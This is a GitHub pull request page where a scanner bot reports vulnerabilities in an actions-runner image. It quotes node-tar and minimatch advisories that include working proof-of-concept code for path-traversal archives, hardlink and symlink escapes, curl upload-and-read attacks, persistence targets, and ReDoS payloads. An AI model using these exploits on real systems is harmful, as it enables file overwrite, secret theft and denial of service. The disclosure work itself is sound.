Skip to content

feat(rhino): Added (MANGLED)#21030

Closed
nicholasdille wants to merge 47 commits intomainfrom
rhino
Closed

feat(rhino): Added (MANGLED)#21030
nicholasdille wants to merge 47 commits intomainfrom
rhino

Conversation

@nicholasdille
Copy link
Copy Markdown
Contributor

No description provided.

@github-actions
Copy link
Copy Markdown

github-actions Bot commented Apr 22, 2026

🔍 Vulnerabilities of ghcr.io/uniget-org/tools/actions-runner:2.334.0

📦 Image Reference ghcr.io/uniget-org/tools/actions-runner:2.334.0
digestsha256:ecf2dca1eab270c280053b86a84f82df3ea4a2ab60000f5e26e958d5f6cfab7b
vulnerabilitiescritical: 0 high: 12 medium: 3 low: 2
platformlinux/amd64
size231 MB
packages433
critical: 0 high: 6 medium: 0 low: 0 tar 6.2.1 (npm)

pkg:npm/tar@6.2.1

high 8.8: CVE--2026--23950 Improper Handling of Unicode Encoding

Affected range<=7.5.3
Fixed version7.5.4
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
EPSS Score0.008%
EPSS Percentile1st percentile
Description

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.


Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.


high 8.2: CVE--2026--31802 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<=7.5.10
Fixed version7.5.11
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
EPSS Score0.008%
EPSS Percentile1st percentile
Description

Summary

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

  1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
  2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
  3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
  4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@<!-- -->7.5.10.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files

high 8.2: CVE--2026--29786 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<=7.5.9
Fixed version7.5.10
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
EPSS Score0.007%
EPSS Percentile1st percentile
Description

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

  1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
  2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
  3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
  4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@<!-- -->7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files

high 8.2: CVE--2026--24842 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<7.5.7
Fixed version7.5.7
CVSS Score8.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
EPSS Score0.021%
EPSS Percentile6th percentile
Description

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:

const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }

Hardlink creation in [HARDLINK]:

const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);

Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

  • Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

  • Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:

poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)

package.json

{ "dependencies": { "tar": "^7.5.0" } }

secret.txt (sensitive file outside uploads/)

DATABASE_PASSWORD=supersecret123

server.js (vulnerable file upload server)

const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));

create-malicious-tar.js (attacker creates exploit TAR)

const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');

Run

# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @<!-- -->malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt

Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Attack Vector Target File Result
SSH Access ~/.ssh/authorized_keys Direct shell access to server
Cron Backdoor /etc/cron.d/*, ~/.crontab Persistent code execution
Shell RC Files ~/.bashrc, ~/.profile Code execution on user login
Web App Backdoor Application .js, .php, .py files Immediate RCE via web requests
Systemd Services /etc/systemd/system/*.service Code execution on service restart
User Creation /etc/passwd (if running as root) Add new privileged user

Data Exfiltration & Corruption

  1. Overwrite arbitrary files via hardlink escape + subsequent write operations
  2. Read sensitive files by creating hardlinks that point outside extraction directory
  3. Corrupt databases and application state
  4. Steal credentials from config files, .env, secrets

high 8.2: CVE--2026--23745 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<=7.5.2
Fixed version7.5.3
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
EPSS Score0.007%
EPSS Percentile1st percentile
Description

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Impact

  • Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
  • Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)

high 7.1: CVE--2026--26960 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<7.5.8
Fixed version7.5.8
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
EPSS Score0.007%
EPSS Percentile1st percentile
Description

Summary

tar.extract() in Node tar allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.

This enables arbitrary file read and write as the extracting user (no root, no chmod, no preservePaths).

Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.

Details

The bypass chain uses two symlinks plus one hardlink:

  1. a/b/c/up -> ../..
  2. a/b/escape -> c/up/../..
  3. exfil (hardlink) -> a/b/escape/<target-relative-to-parent-of-extract>

Why this works:

  • Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.

    • See STRIPABSOLUTEPATH logic in:
      • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255
      • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268
      • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281
  • Hardlink extraction resolves target as path.resolve(cwd, entry.linkpath) and then calls fs.link(target, destination).

    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703
  • Parent directory safety checks (mkdir + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.

    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101

As a result, exfil is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via exfil.

PoC

hardlink.js
Environment used for validation:

  • Node: v25.4.0
  • tar: 7.5.7
  • OS: macOS Darwin 25.2.0
  • Extract options: defaults (tar.extract({ file, cwd }))

Steps:

  1. Prepare/locate a tar module. If require('tar') is not available locally, set TAR_MODULE to an absolute path to a tar package directory.

  2. Run:

TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js
  1. Expected vulnerable output (key lines):
same_inode=true
read_ok=true
write_ok=true
result=VULNERABLE

Interpretation:

  • same_inode=true: extracted exfil and external secret are the same file object.
  • read_ok=true: reading exfil leaks external content.
  • write_ok=true: writing exfil modifies external file.

Impact

Vulnerability type:

  • Arbitrary file read/write via archive extraction path confusion and link resolution.

Who is impacted:

  • Any application/service that extracts attacker-controlled tar archives with Node tar defaults.
  • Impact scope is the privileges of the extracting process user.

Potential outcomes:

  • Read sensitive files reachable by the process user.
  • Overwrite writable files outside extraction root.
  • Escalate impact depending on deployment context (keys, configs, scripts, app data).
critical: 0 high: 3 medium: 0 low: 0 minimatch 9.0.5 (npm)

pkg:npm/minimatch@9.0.5

high 8.7: CVE--2026--26996 Inefficient Regular Expression Complexity

Affected range>=9.0.0
<9.0.6
Fixed version10.2.1
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.025%
EPSS Percentile7th percentile
Description

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

high 7.5: CVE--2026--27904 Inefficient Regular Expression Complexity

Affected range>=9.0.0
<9.0.7
Fixed version9.0.7
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.025%
EPSS Percentile7th percentile
Description

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

